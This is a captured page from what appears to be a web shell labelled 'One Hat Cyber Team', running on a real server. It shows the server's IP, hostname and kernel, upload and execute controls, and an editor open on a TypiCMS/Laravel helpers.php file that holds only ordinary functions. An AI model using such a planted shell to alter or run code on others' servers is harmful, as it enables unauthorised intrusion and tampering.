⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.70
Server IP:
198.23.59.68
Server:
Linux vps104032.mylogin.co 4.18.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
PHP Version:
8.3.30
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
home
/
www
/
psim.vps104032.mylogin.co
/
app
/
Edit File: helpers.php
<?php if (!function_exists('mb_ucfirst')) { function mb_ucfirst(string $string, string $encoding = 'UTF-8'): string { $strlen = mb_strlen($string, $encoding); $firstChar = mb_substr($string, 0, 1, $encoding); $then = mb_substr($string, 1, $strlen - 1, $encoding); return mb_strtoupper($firstChar, $encoding).$then; } } if (!function_exists('column')) { function column(string $column): string { return $column.'->'.config('app.locale'); } } if (!function_exists('locales')) { function locales(): array { return array_keys(config('typicms.locales')); } } if (!function_exists('getMigrationFileName')) { function getMigrationFileName(string $name): string { $directory = database_path(DIRECTORY_SEPARATOR.'migrations'.DIRECTORY_SEPARATOR); $migrations = File::glob($directory.'*_'.$name.'.php'); return $migrations[0] ?? $directory.date('Y_m_d_His').'_'.$name.'.php'; } }
Simpan